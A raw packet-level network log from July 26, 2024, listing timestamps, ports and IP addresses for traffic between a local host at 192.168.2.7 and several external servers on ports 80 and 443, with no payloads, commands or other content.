Jul 26, 2024 08:57:59.064940929 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.064948082 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.064970016 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.067313910 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.067331076 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.067384958 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.067397118 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.067414999 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.071896076 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.071912050 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.071953058 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.071960926 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.071995974 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.073856115 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.073877096 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.073924065 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.073930979 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.073956013 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.075784922 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.075803995 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.077491999 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.077507019 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.079749107 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.080157995 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.080171108 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.080224991 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.080271959 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.080319881 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.080743074 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.080763102 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.081146955 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.081154108 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.081229925 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.081751108 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.081767082 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.081974983 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.081980944 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.082091093 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.082856894 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.082876921 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.082916021 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.082921028 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.083009005 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.083657980 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.083674908 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.083714962 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.083719969 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.083807945 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.084522963 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.084543943 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.084585905 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.084592104 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.084676981 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.098613977 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.098634005 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.098689079 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.098702908 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.098723888 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.099237919 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.099257946 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.099368095 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.099373102 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.099500895 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.099783897 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.099800110 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.101923943 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.101932049 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.101980925 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.103401899 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.103419065 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.103812933 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.103820086 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.104068995 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.104892015 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.104906082 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.104953051 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.104959011 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.104985952 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.105328083 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.105349064 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.105611086 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.105616093 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.105631113 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.105936050 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.105951071 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.106309891 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.106314898 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.106504917 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.106525898 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.106535912 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.106542110 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.106731892 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.106760025 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.165221930 CEST	80	49779	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:59.165318012 CEST	49779	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:59.166027069 CEST	49779	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:59.173214912 CEST	80	49779	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:59.192653894 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.192672968 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.192737103 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.192750931 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.192797899 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.193650007 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.193665028 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.193924904 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.193931103 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.194106102 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.194154024 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.194169998 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.194283962 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.194289923 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.194658041 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.197889090 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.197905064 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.197962046 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.197968006 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.198002100 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.200589895 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.200606108 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.200665951 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.200671911 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.200705051 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.201124907 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.201145887 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.201203108 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.201209068 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.201251984 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.201515913 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.201531887 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.201600075 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.201605082 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.201706886 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.201953888 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.201968908 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.202054024 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.202059031 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.202150106 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.222989082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:59.223231077 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:59.286608934 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.286628962 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.287071943 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.287111998 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.290494919 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.292155981 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.292169094 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.292922974 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.293575048 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.297224998 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.297235966 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.297945023 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.298016071 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.298019886 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.298116922 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.298121929 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.298160076 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.298957109 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.298963070 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.305408001 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.305555105 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.305764914 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.306214094 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.307235956 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.384545088 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.384565115 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.384773016 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.385044098 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.385087967 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.385430098 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.385446072 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.385942936 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.385962963 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.387164116 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.387175083 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.394097090 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.394105911 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.394145966 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.394150972 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.394181013 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.394186020 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.394263983 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.394268990 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.394279003 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.398257971 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.398263931 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.400119066 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.403645039 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.403703928 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.403762102 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.405397892 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.407322884 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:59.412596941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:59.419147015 CEST	80	49779	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:59.428486109 CEST	49779	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:59.479284048 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.479309082 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.479366064 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.479367018 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.479374886 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.479418039 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.479424953 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.479459047 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.479695082 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.479728937 CEST	49774	443	192.168.2.7	13.107.21.237
Jul 26, 2024 08:57:59.479742050 CEST	443	49774	13.107.21.237	192.168.2.7
Jul 26, 2024 08:57:59.556700945 CEST	49779	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:59.556986094 CEST	49784	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:59.562189102 CEST	80	49784	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:59.562472105 CEST	49784	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:59.562670946 CEST	80	49779	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:59.562720060 CEST	49779	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:59.562936068 CEST	49784	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:59.567749977 CEST	80	49784	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:59.577869892 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:59.583093882 CEST	80	49751	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:59.592863083 CEST	49785	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:57:59.592905045 CEST	443	49785	34.160.144.191	192.168.2.7
Jul 26, 2024 08:57:59.593601942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:59.593617916 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:59.593631983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:59.593883038 CEST	49785	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:57:59.593913078 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:59.594204903 CEST	49785	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:57:59.594218969 CEST	443	49785	34.160.144.191	192.168.2.7
Jul 26, 2024 08:57:59.598215103 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:59.603909969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:59.660222054 CEST	49786	443	192.168.2.7	13.32.99.17
Jul 26, 2024 08:57:59.660267115 CEST	443	49786	13.32.99.17	192.168.2.7
Jul 26, 2024 08:57:59.660902977 CEST	49786	443	192.168.2.7	13.32.99.17
Jul 26, 2024 08:57:59.662734032 CEST	49786	443	192.168.2.7	13.32.99.17
Jul 26, 2024 08:57:59.662746906 CEST	443	49786	13.32.99.17	192.168.2.7
Jul 26, 2024 08:57:59.681224108 CEST	80	49751	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:59.727549076 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:59.783442020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:59.788770914 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:59.805912018 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:59.810837030 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:59.810920954 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:59.811012030 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:59.815773010 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:59.958883047 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:57:59.958945990 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:57:59.959127903 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:57:59.959319115 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:57:59.959335089 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.007751942 CEST	49755	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.013597965 CEST	80	49755	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:00.069052935 CEST	443	49785	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:00.072470903 CEST	49785	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:00.114551067 CEST	80	49755	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:00.163101912 CEST	49755	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.345843077 CEST	443	49786	13.32.99.17	192.168.2.7
Jul 26, 2024 08:58:00.348344088 CEST	80	49784	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:00.351377964 CEST	49786	443	192.168.2.7	13.32.99.17
Jul 26, 2024 08:58:00.351596117 CEST	49784	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:00.356729031 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.356765032 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.356848955 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.356856108 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.358037949 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.358068943 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.358335972 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.358349085 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.358448029 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.358458996 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.372567892 CEST	49784	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:00.377356052 CEST	80	49784	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:00.476644039 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.480839968 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.480875969 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.481456041 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.482319117 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.486296892 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.486310005 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.488221884 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.488321066 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.488583088 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.532507896 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.541620970 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.541637897 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.559617043 CEST	49785	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:00.559637070 CEST	443	49785	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:00.559978008 CEST	443	49785	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:00.564199924 CEST	49785	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:00.564394951 CEST	443	49785	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:00.564479113 CEST	49785	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:00.564491034 CEST	443	49785	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:00.564866066 CEST	49791	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:00.564905882 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:00.565124989 CEST	49791	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:00.565452099 CEST	49791	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:00.565462112 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:00.566380978 CEST	49786	443	192.168.2.7	13.32.99.17
Jul 26, 2024 08:58:00.566400051 CEST	443	49786	13.32.99.17	192.168.2.7
Jul 26, 2024 08:58:00.566464901 CEST	49786	443	192.168.2.7	13.32.99.17
Jul 26, 2024 08:58:00.566590071 CEST	443	49786	13.32.99.17	192.168.2.7
Jul 26, 2024 08:58:00.566735029 CEST	49786	443	192.168.2.7	13.32.99.17
Jul 26, 2024 08:58:00.580471992 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.580570936 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.580584049 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.580599070 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.580928087 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.580939054 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.580950975 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.580961943 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.580974102 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.581571102 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.581583977 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.581679106 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.585640907 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.585685015 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.585694075 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.585760117 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.586704969 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.586822987 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.587613106 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.590326071 CEST	49755	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.590326071 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.593491077 CEST	49792	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.595659971 CEST	80	49755	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:00.596056938 CEST	80	49751	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:00.596705914 CEST	49755	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.596705914 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.598427057 CEST	80	49792	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:00.598512888 CEST	49792	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.598690033 CEST	49792	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:00.603698969 CEST	80	49792	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:00.627670050 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.627938032 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.627991915 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.628006935 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.628335953 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.628367901 CEST	443	49788	142.250.65.238	192.168.2.7
